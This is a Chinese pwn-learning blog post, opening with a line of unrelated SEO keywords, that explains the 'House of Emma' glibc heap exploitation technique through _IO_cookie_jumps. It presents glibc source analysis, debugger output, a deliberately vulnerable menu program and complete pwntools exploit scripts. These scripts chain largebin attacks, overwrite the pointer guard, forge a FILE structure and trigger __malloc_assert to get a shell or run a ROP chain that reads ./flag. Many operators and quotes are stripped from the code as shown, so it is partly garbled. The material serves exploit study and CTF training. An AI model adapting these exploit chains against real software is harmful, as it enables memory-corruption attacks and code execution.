东莞阿里网站设计,李时珍现货交易平台,万网网站到期后续费一年多少钱,wordpress页面静态化生成House of Emma
参考文献
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台
文章 - house of emma 心得体会 - 先知社区 前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点#xff0c;其一是利用__malloc_assert进入…House of Emma
参考文献
第七届“湖湘杯” House _OF _Emma | 设计思路与解析-安全KER - 安全资讯平台
文章 - house of emma 心得体会 - 先知社区 前一篇博客【我的 PWN 学习手札】House of Kiwi-CSDN博客的利用手法有两个关键点其一是利用__malloc_assert进入IO链其二是劫持全局的_IO_file_jumps_指针。然而当遇到_IO_file_jumps_不可写的时候House of Kiwi这种方法失效。高版本的libc取消了__malloc_hook和__free_hook等hook因此在Kiwi失效的情况下寻找其他合法的vtable表即在__start___libc_IO_vtables - __stop___libc_IO_vtables之间的表看能否被我们利用。
House of Emma主要就是找到了一条利用虚表的链子通过借助_IO_cookie_jumps中的函数指针来实现类似劫持Hook从而控制程序执行流的效果。
一、源码分析
libio/iofopncook.c中定义了满足vtable合法性要求的表_IO_cookie_jumps在__start___libc_IO_vtables - __stop___libc_IO_vtables之间
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable {JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_default_xsgetn),JUMP_INIT(seekoff, _IO_cookie_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_file_setbuf),JUMP_INIT(sync, _IO_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_cookie_read),JUMP_INIT(write, _IO_cookie_write),JUMP_INIT(seek, _IO_cookie_seek),JUMP_INIT(close, _IO_cookie_close),JUMP_INIT(stat, _IO_default_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue),
};表内的
_IO_cookie_read_IO_cookie_write_IO_cookie_seek_IO_cookie_close
这几个函数的实现更具体来说是先提取虚表上的函数指针与参数然后调用对应函数指针来实现的
libio/iofopncook.c
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{struct _IO_cookie_file *cfile (struct _IO_cookie_file *) fp;cookie_read_function_t *read_cb cfile-__io_functions.read;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (read_cb);
#endifif (read_cb NULL)return -1;return read_cb (cfile-__cookie, buf, size);
}static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{struct _IO_cookie_file *cfile (struct _IO_cookie_file *) fp;cookie_write_function_t *write_cb cfile-__io_functions.write;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endifif (write_cb NULL){fp-_flags | _IO_ERR_SEEN;return 0;}ssize_t n write_cb (cfile-__cookie, buf, size);if (n size)fp-_flags | _IO_ERR_SEEN;return n;
}static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{struct _IO_cookie_file *cfile (struct _IO_cookie_file *) fp;cookie_seek_function_t *seek_cb cfile-__io_functions.seek;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (seek_cb);
#endifreturn ((seek_cb NULL|| (seek_cb (cfile-__cookie, offset, dir) -1)|| offset (off64_t) -1)? _IO_pos_BAD : offset);
}static int
_IO_cookie_close (FILE *fp)
{struct _IO_cookie_file *cfile (struct _IO_cookie_file *) fp;cookie_close_function_t *close_cb cfile-__io_functions.close;
#ifdef PTR_DEMANGLEPTR_DEMANGLE (close_cb);
#endifif (close_cb NULL)return 0;return close_cb (cfile-__cookie);
}以_IO_cookie_read为例将(FILE *)的fp转换为struct _IO_cookie_file然后从虚表中提取出cookie_read_function_t *read_cb函数指针将__cookie成员作为其中一个参数进行调用。
/* Special file type for fopencookie function. */
struct _IO_cookie_file
{struct _IO_FILE_plus __fp;void *__cookie;cookie_io_functions_t __io_functions;
};可以看到_IO_cookie_file的结构由来依旧是采用类似继承的方式通过扩展_IO_FILE_plus类型添加__cookie和__io_functions成员即参数和虚表。在libio/bits/types/cookie_io_functions_t.h可以看到对结构体中虚表的声明
/* The structure with the cookie function pointers.The tag name of this struct is _IO_cookie_io_functions_t topreserve historic C mangled names for functions takingcookie_io_functions_t arguments. That name should not be used innew code. */
typedef struct _IO_cookie_io_functions_t
{cookie_read_function_t *read; /* Read bytes. */cookie_write_function_t *write; /* Write bytes. */cookie_seek_function_t *seek; /* Seek/tell file position. */cookie_close_function_t *close; /* Close file. */
} cookie_io_functions_t;对于虚表的利用类似于hook我们可以劫持这些虚表指针劫持参数实现程序执行流的劫持。
然而glibc设计者也不是吃素的对于这些虚表指针是经过加密保护的
#ifdef PTR_DEMANGLEPTR_DEMANGLE (write_cb);
#endif由于搜出来该宏定义的位置比较多这里通过调试来确认加解密过程。定位到_IO_cookie_write函数汇编代码看看函数指针在调用前是如何进行解密的。
pwndbg x/20i _IO_cookie_write 0x7ffff7c78800 _IO_cookie_write: endbr64 0x7ffff7c78804 _IO_cookie_write4: push rbp0x7ffff7c78805 _IO_cookie_write5: push rbx0x7ffff7c78806 _IO_cookie_write6: mov rbx,rdi0x7ffff7c78809 _IO_cookie_write9: sub rsp,0x80x7ffff7c7880d _IO_cookie_write13: mov rax,QWORD PTR [rdi0xf0]0x7ffff7c78814 _IO_cookie_write20: ror rax,0x110x7ffff7c78818 _IO_cookie_write24: xor rax,QWORD PTR fs:0x300x7ffff7c78821 _IO_cookie_write33: test rax,rax0x7ffff7c78824 _IO_cookie_write36: je 0x7ffff7c78837 _IO_cookie_write550x7ffff7c78826 _IO_cookie_write38: mov rbp,rdx0x7ffff7c78829 _IO_cookie_write41: mov rdi,QWORD PTR [rdi0xe0]0x7ffff7c78830 _IO_cookie_write48: call rax0x7ffff7c78832 _IO_cookie_write50: cmp rbp,rax0x7ffff7c78835 _IO_cookie_write53: jle 0x7ffff7c7883a _IO_cookie_write580x7ffff7c78837 _IO_cookie_write55: or DWORD PTR [rbx],0x200x7ffff7c7883a _IO_cookie_write58: add rsp,0x80x7ffff7c7883e _IO_cookie_write62: pop rbx0x7ffff7c7883f _IO_cookie_write63: pop rbp0x7ffff7c78840 _IO_cookie_write64: ret
pwndbg tls
tls : 0x7ffff7fbb740
pwndbg tele 0x7ffff7fbb7400x30
00:0000│ 0x7ffff7fbb770 ◂— 0xe90cc09eeee59ad5
01:0008│ 0x7ffff7fbb778 ◂— 0
... ↓ 6 skipped
pwndbg可以看到加密的函数指针存在rax寄存器中通过rorRotate Right循环右移11位然后和fs:0x30位置的数据进行xor异或就得到了真正的函数指针。在x86-64linux中使用fs段寄存器来指向线程本地存储也即tls。上述调试信息打印出来了用于异或的数值。
二、House of Emma利用手法
基于上述源码分析结果我们可以大致明确我们的目标就是设法劫持_IO_cookie_jumps调用相关被劫持函数指针从而劫持程序执行流实现利用。
泄露libc、heap基址largebin attack写stderr指针第二次largebin attack写fs:0x30的guard修复largebin并申请出堆块如果打ROP则在其他堆块上布置好ROP链在申请的堆块上伪造_IO_cookie_file类型结构体设置好vtable指针指向_IO_cookie_jumps的合适偏移设置好_cookie和__io_functions的函数指针通过House of Kiwi链子__malloc_assert或其他方式触发IO触发程序流劫持 以pwn.c模板为例
#includestdlib.h
#include stdio.h
#include unistd.h
#include string.hchar *chunk_list[0x100];#define puts(str) write(1, str, strlen(str)), write(1, \n, 1)void menu() {puts(1. add chunk);puts(2. delete chunk);puts(3. edit chunk);puts(4. show chunk);puts(5. exit);puts(choice:);
}int get_num() {char buf[0x10];read(0, buf, sizeof(buf));return atoi(buf);
}void add_chunk() {puts(index:);int index get_num();puts(size:);int size get_num();chunk_list[index] malloc(size);
}void delete_chunk() {puts(index:);int index get_num();free(chunk_list[index]);
}void edit_chunk() {puts(index:);int index get_num();puts(length:);int length get_num();puts(content:);read(0, chunk_list[index], length);
}void show_chunk() {puts(index:);int index get_num();puts(chunk_list[index]);
}int main() {setvbuf(stdin, 0LL, 2, 0LL);setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stderr, 0LL, 2, 0LL);while (1) {menu();int choice get_num();switch (choice) {case 1:add_chunk();break;case 2:delete_chunk();break;case 3:edit_chunk();break;case 4:show_chunk();break;case 5:_exit(0);default:puts(invalid choice.);}}
}
首先泄露libc和heap
add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base u64(io.recv(6).ljust(8, b\x00)) ~0xfff
success(heap base: hex(heap_base))
show(2)
io.recvline()
libc.address u64(io.recv(6).ljust(8, b\x00))-0x1f2ce0
tls libc.address 0x3bb740
guard tls 0x30
file_addr heap_base 0x6d0
success(libc base: hex(libc.address))
success(stderr: hex(libc.sym[stderr]))
success(tls: hex(tls))
success(guard: hex(guard))
add(0,0x418)第一次largebin attack篡改stderr指针
# hijack stderr
edit(2, p64(0) * 3 p64(libc.sym[stderr] - 0x20))
delete(0)
add(0,0x408)第二次largebin attack修改tls附近的guard
# hijack guard
edit(2,p64(0)*3p64(guard-0x20))
delete(0)
add(0,0x3f8)然后修复并申请出堆heap_base0x6d0的堆块
# fix malloc chunk
edit(2,p64(libc.sym[main_arena]1104)*2p64(file_addr)*2)
add(2,0x428)将在申请出来的堆块上布置_IO_cookie_file结构体计算vtable
pwndbg p _IO_cookie_jumps.__write
$18 (_IO_write_t *) 0x7ffff7df3b78 _IO_cookie_jumps120
pwndbg p _IO_cookie_jumps
$19 (const struct _IO_jump_t *) 0x7ffff7df3b00 _IO_cookie_jumps
pwndbg p/x 0x7ffff7df3b78-0x7ffff7df3b00
$20 0x78
pwndbg p _IO_file_jumps.__xsputn
$21 (_IO_xsputn_t *) 0x7ffff7df45b8 __GI__IO_file_jumps56
pwndbg p _IO_file_jumps
$22 (const struct _IO_jump_t *) 0x7ffff7df4580 __GI__IO_file_jumps
pwndbg p/x 0x7ffff7df45b8-0x7ffff7df4580
$23 0x38
pwndbg p/x 0x78-0x38
$24 0x40布置结构体先确保vtable设置合理能够触发目标函数然后再填写_cookie字段和__io_functions字段
fake_file b
fake_file p64(0) # _IO_read_end
fake_file p64(0) # _IO_read_base
fake_file p64(0) # _IO_write_base
fake_file p64(libc.sym[system]) # _IO_write_ptr
fake_file p64(0) # _IO_write_end
fake_file p64(0) # _IO_buf_base;
fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1)
fake_file p64(0) * 4 # from _IO_save_base to _markers
fake_file p64(libc.sym[_IO_2_1_stdout_]) # the FILE chain ptr
fake_file p32(2) # _fileno for stderr is 2
fake_file p32(0) # _flags2, usually 0
fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file p16(0) # _cur_column
fake_file b\x00 # _vtable_offset
fake_file b\n # _shortbuf[1]
fake_file p32(0) # padding
fake_file p64(libc.sym[_IO_2_1_stdout_] 0x1ea0) # _IO_stdfile_1_lock
fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file p64(0) # _codecvt, usually 0
fake_file p64(libc.sym[_IO_2_1_stdout_] - 0x160) # _IO_wide_data_1
fake_file p64(0) * 3 # from _freeres_list to __pad5
fake_file p32(0xFFFFFFFF) # _mode, usually -1
fake_file b\x00 * 19 # _unused2
fake_file fake_file.ljust(0xD8-0x10, b\x00) # adjust to vtable
fake_file p64(libc.sym[_IO_cookie_jumps]0x40) # fake vtableedit(2,fake_file)可以看到程序通过__malloc_assert进入IO执行的函数已经被我们替换到_IO_cookie_write ► 0x7ffff7c6f055 __vfprintf_internal261 call qword ptr [rbx 0x38] __SI_IO_new_file_xsputn_12rdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— %s%s%s:%u: %s%sAssertion %s failed.\nrdx: 0rcx: 0
----------------------------------------------------------------------------------------------------► 0x7ffff7c6f055 __vfprintf_internal261 call qword ptr [rbx 0x38] _IO_cookie_writerdi: 0x55555555c6d0 ◂— 0rsi: 0x7ffff7dba110 ◂— %s%s%s:%u: %s%sAssertion %s failed.\nrdx: 0然后我们可以简单地设置函数指针为system参数设为字符串/bin/sh\x00的指针
...
fake_file p64(libc.sym[_IO_cookie_jumps] 0x40) # fake vtable
fake_file p64(libc.search(b/bin/sh\x00).__next__())
fake_file p64(0)
fake_file p64(rol(libc.sym[system] ^ file_addr, 0x11)) #_IO_cookie_write
fake_file p64(0)
fake_file p64(0)
然后触发__malloc_assert
# trigger __malloc_assert
edit(3, 0x20 * b\x00)
gdb.attach(io, b __malloc_assert\n)
add(10, 0x500)
从而getshell from pwn import *elf ELF(./pwn)
libc ELF(./libc.so.6)
context.arch elf.arch
context.log_level debug
context.os elf.osdef add(index, size):io.sendafter(bchoice:, b1)io.sendafter(bindex:, str(index).encode())io.sendafter(bsize:, str(size).encode())def delete(index):io.sendafter(bchoice:, b2)io.sendafter(bindex:, str(index).encode())def edit(index, content):io.sendafter(bchoice:, b3)io.sendafter(bindex:, str(index).encode())io.sendafter(blength:, str(len(content)).encode())io.sendafter(bcontent:, content)def show(index):io.sendafter(bchoice:, b4)io.sendafter(bindex:, str(index).encode())io process(./pwn)add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base u64(io.recv(6).ljust(8, b\x00)) ~0xfff
success(heap base: hex(heap_base))
show(2)
io.recvline()
libc.address u64(io.recv(6).ljust(8, b\x00)) - 0x1f2ce0
tls libc.address 0x3bb740
guard tls 0x30
file_addr heap_base 0x6d0
success(libc base: hex(libc.address))
success(stderr: hex(libc.sym[stderr]))
success(tls: hex(tls))
success(guard: hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 p64(libc.sym[stderr] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix malloc chunk
edit(2, p64(libc.sym[main_arena] 1104) * 2 p64(file_addr) * 2)
add(2, 0x428)payload_addr heap_base 0x2a0fake_file b
fake_file p64(0) # _IO_read_end
fake_file p64(0) # _IO_read_base
fake_file p64(0) # _IO_write_base
fake_file p64(libc.sym[system]) # _IO_write_ptr
fake_file p64(0) # _IO_write_end
fake_file p64(0) # _IO_buf_base;
fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1)
fake_file p64(0) * 4 # from _IO_save_base to _markers
fake_file p64(libc.sym[_IO_2_1_stdout_]) # the FILE chain ptr
fake_file p32(2) # _fileno for stderr is 2
fake_file p32(0) # _flags2, usually 0
fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file p16(0) # _cur_column
fake_file b\x00 # _vtable_offset
fake_file b\n # _shortbuf[1]
fake_file p32(0) # padding
fake_file p64(libc.sym[_IO_2_1_stdout_] 0x1ea0) # _IO_stdfile_1_lock
fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file p64(0) # _codecvt, usually 0
fake_file p64(libc.sym[_IO_2_1_stdout_] - 0x160) # _IO_wide_data_1
fake_file p64(0) * 3 # from _freeres_list to __pad5
fake_file p32(0xFFFFFFFF) # _mode, usually -1
fake_file b\x00 * 19 # _unused2
fake_file fake_file.ljust(0xD8 - 0x10, b\x00) # adjust to vtable
fake_file p64(libc.sym[_IO_cookie_jumps] 0x40) # fake vtable
fake_file p64(libc.search(b/bin/sh\x00).__next__())
fake_file p64(0)
fake_file p64(rol(libc.sym[system] ^ file_addr, 0x11))
fake_file p64(0)
fake_file p64(0)
edit(2, fake_file)# trigger __malloc_assert
edit(3, 0x20 * b\x00)
gdb.attach(io, b _IO_cookie_write\nc)
add(10, 0x500)io.interactive()
如果要走ROP则可参照【我的 PWN 学习手札】新版本libc下的setcontext与平替gadget_setcontext pwn rdx-CSDN博客稍微修改一下板子即可 from pwn import *elf ELF(./pwn)
libc ELF(./libc.so.6)
context.arch elf.arch
context.log_level debug
context.os elf.osdef add(index, size):io.sendafter(bchoice:, b1)io.sendafter(bindex:, str(index).encode())io.sendafter(bsize:, str(size).encode())def delete(index):io.sendafter(bchoice:, b2)io.sendafter(bindex:, str(index).encode())def edit(index, content):io.sendafter(bchoice:, b3)io.sendafter(bindex:, str(index).encode())io.sendafter(blength:, str(len(content)).encode())io.sendafter(bcontent:, content)def show(index):io.sendafter(bchoice:, b4)io.sendafter(bindex:, str(index).encode())io process(./pwn)add(0, 0x418)
add(1, 0x18)
add(2, 0x428)
add(3, 0x18)# leak libc heap
delete(2)
delete(0)
show(0)
io.recvline()
heap_base u64(io.recv(6).ljust(8, b\x00)) ~0xfff
success(heap base: hex(heap_base))
show(2)
io.recvline()
libc.address u64(io.recv(6).ljust(8, b\x00)) - 0x1f2ce0
tls libc.address 0x3bb740
guard tls 0x30
file_addr heap_base 0x6d0
success(libc base: hex(libc.address))
success(stderr: hex(libc.sym[stderr]))
success(tls: hex(tls))
success(guard: hex(guard))
add(0, 0x418)# hijack stderr
edit(2, p64(0) * 3 p64(libc.sym[stderr] - 0x20))
delete(0)
add(0, 0x408)# hijack guard
edit(2, p64(0) * 3 p64(guard - 0x20))
delete(0)
add(0, 0x3f8)# fix malloc chunk
edit(2, p64(libc.sym[main_arena] 1104) * 2 p64(file_addr) * 2)
add(2, 0x428)payload_addr heap_base 0x2a0fake_file b
fake_file p64(0) # _IO_read_end
fake_file p64(0) # _IO_read_base
fake_file p64(0) # _IO_write_base
fake_file p64(libc.sym[system]) # _IO_write_ptr
fake_file p64(0) # _IO_write_end
fake_file p64(0) # _IO_buf_base;
fake_file p64(0) # _IO_buf_end should usually be (_IO_buf_base 1)
fake_file p64(0) * 4 # from _IO_save_base to _markers
fake_file p64(libc.sym[_IO_2_1_stdout_]) # the FILE chain ptr
fake_file p32(2) # _fileno for stderr is 2
fake_file p32(0) # _flags2, usually 0
fake_file p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file p16(0) # _cur_column
fake_file b\x00 # _vtable_offset
fake_file b\n # _shortbuf[1]
fake_file p32(0) # padding
fake_file p64(libc.sym[_IO_2_1_stdout_] 0x1ea0) # _IO_stdfile_1_lock
fake_file p64(0xFFFFFFFFFFFFFFFF) # _offset, -1
fake_file p64(0) # _codecvt, usually 0
fake_file p64(libc.sym[_IO_2_1_stdout_] - 0x160) # _IO_wide_data_1
fake_file p64(0) * 3 # from _freeres_list to __pad5
fake_file p32(0xFFFFFFFF) # _mode, usually -1
fake_file b\x00 * 19 # _unused2
fake_file fake_file.ljust(0xD8 - 0x10, b\x00) # adjust to vtable
fake_file p64(libc.sym[_IO_cookie_jumps] 0x40) # fake vtable
# fake_file p64(libc.search(b/bin/sh\x00).__next__())
fake_file p64(payload_addr)
fake_file p64(0)gadget_addrlibc.search(asm(mov rdx, [rdi0x8]; mov [rsp], rax; call qword ptr [rdx0x20];),executableTrue).__next__()
success(hex(gadget_addr))# fake_file p64(rol(libc.sym[system] ^ file_addr, 0x11))fake_file p64(rol(gadget_addr ^ file_addr, 0x11))
fake_file p64(0)
fake_file p64(0)
edit(2, fake_file)ROP_addrpayload_addr0x8
flag_addrpayload_addr0x100
frame_addrpayload_addr0x150
buf_addrpayload_addr0x200ROP_chainb
# read(3,buf,0x20)
ROP_chainp64(libc.search(asm(pop rdi;ret),executableTrue).__next__())
ROP_chainp64(3)
ROP_chainp64(libc.search(asm(pop rsi;ret),executableTrue).__next__())
ROP_chainp64(buf_addr)
ROP_chainp64(libc.search(asm(pop rdx ; pop rbx ; ret),executableTrue).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chainp64(0x20)
ROP_chainp64(0)
ROP_chainp64(libc.sym[read])
# puts(buf) write(1,buf,0x20)
ROP_chainp64(libc.search(asm(pop rdi;ret),executableTrue).__next__())
ROP_chainp64(1)
ROP_chainp64(libc.search(asm(pop rsi;ret),executableTrue).__next__())
ROP_chainp64(buf_addr)
ROP_chainp64(libc.search(asm(pop rdx ; pop rbx ; ret),executableTrue).__next__()) #所选libc没有直接的pop rdx;ret
ROP_chainp64(0x20)
ROP_chainp64(0)
ROP_chainp64(libc.sym[write])payloadp64(0)
payloadp64(frame_addr)
payloadROP_chain
payloadpayload.ljust(0x100,b\x00)
payloadb./flag\x00
payloadpayload.ljust(0x150,b\x00)frameSigreturnFrame()
# open(./flag)
frame.rdiflag_addr
frame.riplibc.sym[open]
frame.rsppayload_addr0x10
framebytearray(frame.__bytes__())
frame[0x20:0x208]p64(libc.sym[setcontext]61)payloadbytes(frame)
edit(0,payload)# trigger __malloc_assert
edit(3, 0x20 * b\x00)
gdb.attach(io, b _IO_cookie_write\nc)
add(10, 0x500)io.interactive()